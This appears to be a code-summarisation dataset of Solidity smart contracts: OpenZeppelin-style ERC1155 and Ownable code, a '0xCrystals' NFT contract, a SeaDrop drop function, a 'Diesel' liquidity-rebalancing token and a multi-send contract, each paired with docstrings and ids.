// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.3._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.3._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev String operations.
*/
library Strings {
/**
* @dev Converts a `uint256` to its ASCII `string` representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
uint256 index = digits;
temp = value;
while (temp != 0) {
buffer[--index] = bytes1(uint8(48 + uint256(temp % 10)));
temp /= 10;
}
return string(buffer);
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
*
* @dev Implementation of the basic standard multi-token.
* See https://eips.ethereum.org/EIPS/eip-1155
* Originally based on code by Enjin: https://github.com/enjin/erc-1155
*
* _Available since v3.1._
*/
contract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI {
using Address for address;
using Strings for uint256;
// Mapping from token ID to account balances
mapping (uint256 => mapping(address => uint256)) private _balances;
// Mapping from account to operator approvals
mapping (address => mapping(address => bool)) private _operatorApprovals;
// Total crystals count, including burnt nft
uint256 public crystalsCount = 0;
// Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json
string private _uri;
/*
* bytes4(keccak256('balanceOf(address,uint256)')) == 0x00fdd58e
* bytes4(keccak256('balanceOfBatch(address[],uint256[])')) == 0x4e1273f4
* bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465
* bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5
* bytes4(keccak256('safeTransferFrom(address,address,uint256,uint256,bytes)')) == 0xf242432a
* bytes4(keccak256('safeBatchTransferFrom(address,address,uint256[],uint256[],bytes)')) == 0x2eb2c2d6
*
* => 0x00fdd58e ^ 0x4e1273f4 ^ 0xa22cb465 ^
* 0xe985e9c5 ^ 0xf242432a ^ 0x2eb2c2d6 == 0xd9b67a26
*/
bytes4 private constant _INTERFACE_ID_ERC1155 = 0xd9b67a26;
/*
* bytes4(keccak256('uri(uint256)')) == 0x0e89341c
*/
bytes4 private constant _INTERFACE_ID_ERC1155_METADATA_URI = 0x0e89341c;
/**
* @dev See {_setURI}.
*/
constructor (string memory uri_) {
_setURI(uri_);
// register the supported interfaces to conform to ERC1155 via ERC165
_registerInterface(_INTERFACE_ID_ERC1155);
// register the supported interfaces to conform to ERC1155MetadataURI via ERC165
_registerInterface(_INTERFACE_ID_ERC1155_METADATA_URI);
}
/**
* @dev See {IERC1155MetadataURI-uri}.
*
* This implementation returns the same URI for *all* token types. It relies
* on the token type ID substitution mechanism
* https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].
*
* Clients calling this function must replace the `\{id\}` substring with the
* actual token type ID.
*/
function uri(uint256 id) external view override returns (string memory) {
require(id <= crystalsCount, "NFT does not exist");
// Even if there is a base URI, it is only appended to non-empty token-specific URIs
if (bytes(_uri).length == 0) {
return "";
} else {
// bytes memory b = new bytes(32);
// assembly { mstore(add(b, 32), id) }
// abi.encodePacked is being used to concatenate strings
return string(abi.encodePacked(_uri, id.toString()));
}
}
/**
* @dev See {IERC1155-balanceOf}.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id) public view override returns (uint256) {
require(account != address(0), "ERC1155: balance query for the zero address");
return _balances[id][account];
}
/**
* @dev See {IERC1155-balanceOfBatch}.
*
* Requirements:
*
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(
address[] memory accounts,
uint256[] memory ids
)
public
view
override
returns (uint256[] memory)
{
require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch");
uint256[] memory batchBalances = new uint256[](accounts.length);
for (uint256 i = 0; i < accounts.length; ++i) {
require(accounts[i] != address(0), "ERC1155: batch balance query for the zero address");
batchBalances[i] = _balances[ids[i]][accounts[i]];
}
return batchBalances;
}
/**
* @dev See {IERC1155-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(_msgSender() != operator, "ERC1155: setting approval status for self");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC1155-isApprovedForAll}.
*/
function isApprovedForAll(address account, address operator) public view override returns (bool) {
return _operatorApprovals[account][operator];
}
/**
* @dev See {IERC1155-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
)
public
virtual
override
{
require(to != address(0), "ERC1155: transfer to the zero address");
require(
from == _msgSender() || isApprovedForAll(from, _msgSender()),
"ERC1155: caller is not owner nor approved"
);
address operator = _msgSender();
_beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data);
_balances[id][from] = _balances[id][from] - amount;
_balances[id][to] = _balances[id][to] + amount;
emit TransferSingle(operator, from, to, id, amount);
_doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data);
}
/**
* @dev See {IERC1155-safeBatchTransferFrom}.
*/
function safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
)
public
virtual
override
{
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
require(to != address(0), "ERC1155: transfer to the zero address");
require(
from == _msgSender() || isApprovedForAll(from, _msgSender()),
"ERC1155: transfer caller is not owner nor approved"
);
address operator = _msgSender();
_beforeTokenTransfer(operator, from, to, ids, amounts, data);
for (uint256 i = 0; i < ids.length; ++i) {
uint256 id = ids[i];
uint256 amount = amounts[i];
_balances[id][from] = _balances[id][from] - amount;
_balances[id][to] = _balances[id][to] + amount;
}
emit TransferBatch(operator, from, to, ids, amounts);
_doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data);
}
/**
* @dev Sets a new URI for all token types, by relying on the token type ID
* substitution mechanism
* https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].
*
* By this mechanism, any occurrence of the `\{id\}` substring in either the
* URI or any of the amounts in the JSON file at said URI will be replaced by
* clients with the token type ID.
*
* For example, the `https://token-cdn-domain/\{id\}.json` URI would be
* interpreted by clients as
* `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json`
* for token type ID 0x4cce0.
*
* See {uri}.
*
* Because these URIs cannot be meaningfully represented by the {URI} event,
* this function emits no events.
*/
function _setURI(string memory newuri) internal virtual {
_uri = newuri;
}
/**
* @dev Creates `amount` tokens of token type `id`, and assigns them to `account`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - If `account` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function _mint(address account, uint256 id, uint256 amount, bytes memory data) internal virtual {
require(account != address(0), "ERC1155: mint to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, address(0), account, _asSingletonArray(id), _asSingletonArray(amount), data);
_balances[id][account] = _balances[id][account] + amount;
crystalsCount++;
emit TransferSingle(operator, address(0), account, id, amount);
_doSafeTransferAcceptanceCheck(operator, address(0), account, id, amount, data);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function _mintBatch(address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data) internal virtual {
require(to != address(0), "ERC1155: mint to the zero address");
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
address operator = _msgSender();
_beforeTokenTransfer(operator, address(0), to, ids, amounts, data);
for (uint i = 0; i < ids.length; i++) {
_balances[ids[i]][to] = amounts[i] + _balances[ids[i]][to];
crystalsCount++;
}
emit TransferBatch(operator, address(0), to, ids, amounts);
_doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data);
}
/**
* @dev Destroys `amount` tokens of token type `id` from `account`
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens of token type `id`.
*/
function _burn(address account, uint256 id, uint256 amount) internal virtual {
require(account != address(0), "ERC1155: burn from the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, account, address(0), _asSingletonArray(id), _asSingletonArray(amount), "");
_balances[id][account] = _balances[id][account] - amount;
emit TransferSingle(operator, account, address(0), id, amount);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
*/
function _burnBatch(address account, uint256[] memory ids, uint256[] memory amounts) internal virtual {
require(account != address(0), "ERC1155: burn from the zero address");
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
address operator = _msgSender();
_beforeTokenTransfer(operator, account, address(0), ids, amounts, "");
for (uint i = 0; i < ids.length; i++) {
_balances[ids[i]][account] = _balances[ids[i]][account] - amounts[i];
}
emit TransferBatch(operator, account, address(0), ids, amounts);
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning, as well as batched variants.
*
* The same hook is called on both single and batched variants. For single
* transfers, the length of the `id` and `amount` arrays will be 1.
*
* Calling conditions (for each `id` and `amount` pair):
*
* - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* of token type `id` will be transferred to `to`.
* - When `from` is zero, `amount` tokens of token type `id` will be minted
* for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens of token type `id`
* will be burned.
* - `from` and `to` are never both zero.
* - `ids` and `amounts` have the same, non-zero length.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
)
internal virtual
{ }
function _doSafeTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
)
private
{
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) {
if (response != IERC1155Receiver(to).onERC1155Received.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
} catch Error(string memory reason) {
revert(reason);
} catch {
revert("ERC1155: transfer to non ERC1155Receiver implementer");
}
}
}
function _doSafeBatchTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
)
private
{
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns (bytes4 response) {
if (response != IERC1155Receiver(to).onERC1155BatchReceived.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
} catch Error(string memory reason) {
revert(reason);
} catch {
revert("ERC1155: transfer to non ERC1155Receiver implementer");
}
}
}
function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) {
uint256[] memory array = new uint256[](1);
array[0] = element;
return array;
}
}
/**
* @dev Extension of {ERC1155} that allows token holders to destroy both their
* own tokens and those that they have been approved to use.
*
* _Available since v3.1._
*/
abstract contract ERC1155Burnable is ERC1155 {
function burn(address account, uint256 id, uint256 value) public virtual {
require(
account == _msgSender() || isApprovedForAll(account, _msgSender()),
"ERC1155: caller is not owner nor approved"
);
_burn(account, id, value);
}
}
contract OxCrystals is ERC1155Burnable, Ownable {
string public OXCRYSTALS_PROVENANCE = "";
constructor(string memory uri) ERC1155(uri) {
}
function withdraw() public onlyOwner {
uint balance = address(this).balance;
payable(msg.sender).transfer(balance);
}
/**
* @dev Gets the token name
* @return string representing the token name
*/
function name() external pure returns(string memory) {
return "0xCrystals";
}
/**
* @dev Gets the token symbol
* @return string representing the token symbol
*/
function symbol() external pure returns(string memory) {
return "0XCRYSTALS";
}
/*
* Set provenance once it's calculated
*/
function setProvenanceHash(string memory provenanceHash) public onlyOwner {
OXCRYSTALS_PROVENANCE = provenanceHash;
}
function setBaseURI(string memory baseURI) public onlyOwner {
_setURI(baseURI);
}
/**
* Mints 0xcrystals
*/
function mint0xCrystals(uint256 numberOfTokens) public onlyOwner {
uint mintIndex = ERC1155.crystalsCount;
_mint(msg.sender, mintIndex, numberOfTokens,"");
}
}
|
* @dev See {IERC1155-safeBatchTransferFrom}./
|
function safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
)
public
virtual
override
{
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
require(to != address(0), "ERC1155: transfer to the zero address");
require(
from == _msgSender() || isApprovedForAll(from, _msgSender()),
"ERC1155: transfer caller is not owner nor approved"
);
address operator = _msgSender();
_beforeTokenTransfer(operator, from, to, ids, amounts, data);
for (uint256 i = 0; i < ids.length; ++i) {
uint256 id = ids[i];
uint256 amount = amounts[i];
_balances[id][from] = _balances[id][from] - amount;
_balances[id][to] = _balances[id][to] + amount;
}
emit TransferBatch(operator, from, to, ids, amounts);
_doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data);
}
| 6,332,081
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./full_match/1/0x2A77Ac6b6c7E4E3fF06CCA52537360EE2C13992E/sources/src/ERC721SeaDropUpgradeable.sol
|
* @notice Update the token gated drop stage data for this nft contract on SeaDrop. Only the owner can use this function. Note: If two INonFungibleSeaDropToken tokens are doing simultaneous token gated drop promotions for each other, they can be minted by the same actor until `maxTokenSupplyForStage` is reached. Please ensure the `allowedNftToken` is not running an active drop during the `dropStage` time period. @param seaDropImpl The allowed SeaDrop contract. @param allowedNftToken The allowed nft token. @param dropStage The token gated drop stage data./ Update the token gated drop stage.
|
function updateTokenGatedDrop(
address seaDropImpl,
address allowedNftToken,
TokenGatedDropStage calldata dropStage
) external virtual override onlyOwner onlyAllowedSeaDrop(seaDropImpl) {
ISeaDropUpgradeable(seaDropImpl).updateTokenGatedDrop(
allowedNftToken,
dropStage
);
}
| 4,946,130
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// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
//Import abstractions
import { IUniswapV2Router02, IBalancer, IFreeFromUpTo, Ownable, SafeMath } from 'Contracts/Balancer.sol';
import { DSL } from 'Contracts/DSL.sol';
import 'UniswapV2/libraries/TransferHelper.sol';
//Import uniswap interfaces
import 'UniswapV2/IUniswapFactory.sol';
import 'UniswapV2/IUniswapV2Pair.sol';
abstract contract Diesel is DSL {
using SafeMath for uint256;
event Rebalance(uint256 tokenBurnt);
event RewardLiquidityProviders(uint256 liquidityRewards);
address public uniswapV2Router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address public uniswapV2Pair = address(0);
address payable public treasury;
mapping(address => bool) public unlockedAddr;
IUniswapV2Router02 router = IUniswapV2Router02(uniswapV2Router);
IUniswapV2Pair iuniswapV2Pair = IUniswapV2Pair(uniswapV2Pair);
IFreeFromUpTo public constant chi = IFreeFromUpTo(0x0000000000004946c0e9F43F4Dee607b0eF1fA1c);
uint256 public minRebalanceAmount;
uint256 public lastRebalance;
uint256 public rebalanceInterval;
uint256 public liqAddBalance = 0;
uint256 constant INFINITE_ALLOWANCE = 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff;
uint256 public lpUnlocked;
bool public locked;
//Use CHI to save on gas on rebalance
bool public useCHI = false;
bool approved = false;
bool doAddLiq = true;
/// @notice Liq Add Cut fee at 1% initially
uint256 public LIQFEE = 100;
/// @notice LiqLock is set at 0.2%
uint256 public LIQLOCK = 20;
/// @notice Rebalance amount is 2.5%
uint256 public REBALCUT = 250;
/// @notice Caller cut is at 2%
uint256 public CALLCUT = 200;
/// @notice Fee DSL
uint256 constant public DSL = 10000;
IBalancer balancer;
modifier discountCHI {
uint256 gasStart = gasleft();
_;
uint256 gasSpent = 21000 + gasStart - gasleft() + 16 *
msg.data.length;
if(useCHI){
if(chi.balanceOf(address(this)) > 0) {
chi.freeFromUpTo(address(this), (gasSpent + 14154) / 41947);
}
else {
chi.freeFromUpTo(msg.sender, (gasSpent + 14154) / 41947);
}
}
}
constructor(address balancerAddr) {
lastRebalance = block.timestamp;
rebalanceInterval = 1 seconds;
lpUnlocked = block.timestamp + 90 days;
minRebalanceAmount = 20 ether;
treasury = msg.sender;
balancer = IBalancer(balancerAddr);
locked = true;
unlockedAddr[msg.sender] = true;
unlockedAddr[balancerAddr] = true;
isFeeless[address(this)] = true;
isFeeless[balancerAddr] = true;
isFeeless[msg.sender] = true;
}
function setBalancer(address newBalancer) public onlyOwner {
balancer = IBalancer(newBalancer);
isFeeless[newBalancer] = true;
unlockedAddr[newBalancer] = true;
}
/* Fee getters */
function getLiqAddBudget(uint256 amount) public view returns (uint256) {
return amount.mul(LIQFEE).div(DSL);
}
function getLiqLockBudget(uint256 amount) public view returns (uint256) {
return amount.mul(LIQLOCK).div(DSL);
}
function getRebalanceCut(uint256 amount) public view returns (uint256) {
return amount.mul(REBALCUT).div(DSL);
}
function getCallerCut(uint256 amount) public view returns (uint256) {
return amount.mul(CALLCUT).div(DSL);
}
function transferOwnership(address newOwner) public override onlyOwner {
//First remove feelet set for current owner
toggleFeeless(owner());
//Remove unlock flag for current owner
toggleUnlockable(owner());
//Add feeless for new owner
toggleFeeless(newOwner);
//Add unlocked for new owner
toggleUnlockable(newOwner);
//Transfer ownersip
super.transferOwnership(newOwner);
}
// transfer function with liq add and liq rewards
function _transfer(address from, address to, uint256 amount) internal override {
// calculate liquidity lock amount
// dont transfer burn from this contract
// or can never lock full lockable amount
if(locked && !unlockedAddr[from])
revert("Locked until end of distribution");
if (!isFeeless[from] && !isFeeless[to] && !locked) {
uint256 liquidityLockAmount = getLiqLockBudget(amount);
uint256 LiqPoolAddition = getLiqAddBudget(amount);
//Transfer to liq add amount
super._transfer(from, address(this), LiqPoolAddition);
liqAddBalance = liqAddBalance.add(LiqPoolAddition);
//Transfer to liq lock amount
super._transfer(from, address(this), liquidityLockAmount);
//Amount that is ending up after liq rewards and liq budget
uint256 totalsub = LiqPoolAddition.add(liquidityLockAmount);
super._transfer(from, to, amount.sub(totalsub));
}
else {
super._transfer(from, to, amount);
}
}
// receive eth from uniswap swap
receive () external payable {}
function initPair() public {
// Create a uniswap pair for this new token
uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH());
//Set uniswap pair interface
iuniswapV2Pair = IUniswapV2Pair(uniswapV2Pair);
}
function setUniPair(address pair) public onlyOwner {
uniswapV2Pair = pair;
iuniswapV2Pair = IUniswapV2Pair(uniswapV2Pair);
}
function unlock() public onlyOwner {
locked = false;
}
function setTreasury(address treasuryN) public onlyOwner {
treasury = payable(treasuryN);
balancer.setTreasury(treasuryN);
}
/* Fee setters */
function setLiqFee(uint newFee) public onlyOwner {
LIQFEE = newFee;
}
function setLiquidityLockCut(uint256 newFee) public onlyOwner {
LIQLOCK = newFee;
}
function setRebalanceCut(uint256 newFee) public onlyOwner {
REBALCUT = newFee;
}
function setCallerRewardCut(uint256 newFee) public onlyOwner {
CALLCUT = newFee;
}
function toggleCHI() public onlyOwner {
useCHI = !useCHI;
}
function setRebalanceInterval(uint256 _interval) public onlyOwner {
rebalanceInterval = _interval;
}
function _transferLP(address dest,uint256 amount) internal{
iuniswapV2Pair.transfer(dest, amount);
}
function unlockLPPartial(uint256 amount) public onlyOwner {
require(block.timestamp > lpUnlocked, "Not unlocked yet");
_transferLP(msg.sender,amount);
}
function unlockLP() public onlyOwner {
require(block.timestamp > lpUnlocked, "Not unlocked yet");
uint256 amount = iuniswapV2Pair.balanceOf(address(this));
_transferLP(msg.sender, amount);
}
function toggleFeeless(address _addr) public onlyOwner {
isFeeless[_addr] = !isFeeless[_addr];
}
function toggleUnlockable(address _addr) public onlyOwner {
unlockedAddr[_addr] = !unlockedAddr[_addr];
}
function setMinRebalanceAmount(uint256 amount_) public onlyOwner {
minRebalanceAmount = amount_;
}
function rebalanceable() public view returns (bool) {
return block.timestamp > lastRebalance.add(rebalanceInterval);
}
function hasMinRebalanceBalance(address addr) public view returns (bool) {
return balanceOf(addr) >= minRebalanceAmount;
}
function _rewardLiquidityProviders(uint256 liquidityRewards) private {
super._transfer(address(this), uniswapV2Pair, liquidityRewards);
iuniswapV2Pair.sync();
emit RewardLiquidityProviders(liquidityRewards);
}
function remLiquidity(uint256 lpAmount) private returns(uint ETHAmount) {
iuniswapV2Pair.approve(uniswapV2Router, lpAmount);
(ETHAmount) = router
.removeLiquidityETHSupportingFeeOnTransferTokens(
address(this),
lpAmount,
0,
0,
address(balancer),
block.timestamp
);
}
function ApproveInf(address tokenT,address spender) internal{
TransferHelper.safeApprove(tokenT,spender,INFINITE_ALLOWANCE);
}
function toggleAddLiq() public onlyOwner {
doAddLiq = !doAddLiq;
}
function rebalanceLiquidity() public discountCHI {
require(hasMinRebalanceBalance(msg.sender), "!hasMinRebalanceBalance");
require(rebalanceable(), '!rebalanceable');
lastRebalance = block.timestamp;
if(!approved) {
ApproveInf(address(this),uniswapV2Router);
ApproveInf(uniswapV2Pair,uniswapV2Router);
approved = true;
}
//Approve CHI incase its enabled
if(useCHI) ApproveInf(address(chi),address(chi));
// lockable supply is the token balance of this contract minus the liqaddbalance
if(lockableSupply() > 0)
_rewardLiquidityProviders(lockableSupply());
uint256 amountToRemove = getRebalanceCut(iuniswapV2Pair.balanceOf(address(this)));
// Sell half of balance tokens to eth and add liq
if(balanceOf(address(this)) >= liqAddBalance && liqAddBalance > 0 && doAddLiq) {
//Send tokens to balancer
super._transfer(address(this),address(balancer),liqAddBalance);
require(balancer.AddLiq(),"!AddLiq");
liqAddBalance = 0;
}
// needed in case contract already owns eth
remLiquidity(amountToRemove);
uint _locked = balancer.rebalance(msg.sender);
//Sync after changes
iuniswapV2Pair.sync();
emit Rebalance(_locked);
}
// returns token amount
function lockableSupply() public view returns (uint256) {
return balanceOf(address(this)) > 0 ? balanceOf(address(this)).sub(liqAddBalance,"underflow on lockableSupply") : 0;
}
// returns token amount
function lockedSupply() external view returns (uint256) {
uint256 lpTotalSupply = iuniswapV2Pair.totalSupply();
uint256 lpBalance = lockedLiquidity();
uint256 percentOfLpTotalSupply = lpBalance.mul(1e12).div(lpTotalSupply);
uint256 uniswapBalance = balanceOf(uniswapV2Pair);
uint256 _lockedSupply = uniswapBalance.mul(percentOfLpTotalSupply).div(1e12);
return _lockedSupply;
}
// returns token amount
function burnedSupply() external view returns (uint256) {
uint256 lpTotalSupply = iuniswapV2Pair.totalSupply();
uint256 lpBalance = burnedLiquidity();
uint256 percentOfLpTotalSupply = lpBalance.mul(1e12).div(lpTotalSupply);
uint256 uniswapBalance = balanceOf(uniswapV2Pair);
uint256 _burnedSupply = uniswapBalance.mul(percentOfLpTotalSupply).div(1e12);
return _burnedSupply;
}
// returns LP amount, not token amount
function burnableLiquidity() public view returns (uint256) {
return iuniswapV2Pair.balanceOf(address(this));
}
// returns LP amount, not token amount
function burnedLiquidity() public view returns (uint256) {
return iuniswapV2Pair.balanceOf(address(0));
}
// returns LP amount, not token amount
function lockedLiquidity() public view returns (uint256) {
return burnableLiquidity().add(burnedLiquidity());
}
}
|
Sell half of balance tokens to eth and add liqSend tokens to balancer
|
function rebalanceLiquidity() public discountCHI {
require(hasMinRebalanceBalance(msg.sender), "!hasMinRebalanceBalance");
require(rebalanceable(), '!rebalanceable');
lastRebalance = block.timestamp;
if(!approved) {
ApproveInf(address(this),uniswapV2Router);
ApproveInf(uniswapV2Pair,uniswapV2Router);
approved = true;
}
_rewardLiquidityProviders(lockableSupply());
uint256 amountToRemove = getRebalanceCut(iuniswapV2Pair.balanceOf(address(this)));
if(balanceOf(address(this)) >= liqAddBalance && liqAddBalance > 0 && doAddLiq) {
super._transfer(address(this),address(balancer),liqAddBalance);
require(balancer.AddLiq(),"!AddLiq");
liqAddBalance = 0;
}
uint _locked = balancer.rebalance(msg.sender);
emit Rebalance(_locked);
}
| 5,360,906
|
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pragma solidity ^0.4.23;
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 {
uint public _totalSupply;
function totalSupply() public view returns (uint);
function balanceOf(address who) public view returns (uint);
function transfer(address to, uint value) public;
function allowance(address owner, address spender) public view returns (uint);
function transferFrom(address from, address to, uint value) public;
function approve(address spender, uint value) public;
}
contract C98MultiSend {
address eth_address = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event transfer(address from, address to, uint amount,address tokenAddress);
// Transfer multi main network coin
// Example ETH, BSC, HT
function transferMulti(address[] receivers, uint256[] amounts) public payable {
require(msg.value != 0 && msg.value == getTotalSendingAmount(amounts));
for (uint256 i = 0; i < amounts.length; i++) {
receivers[i].transfer(amounts[i]);
emit transfer(msg.sender, receivers[i], amounts[i], eth_address);
}
}
// Transfer multi token ERC20
function transferMultiToken(address tokenAddress, address[] receivers, uint256[] amounts) public {
require(receivers.length == amounts.length && receivers.length != 0);
ERC20 token = ERC20(tokenAddress);
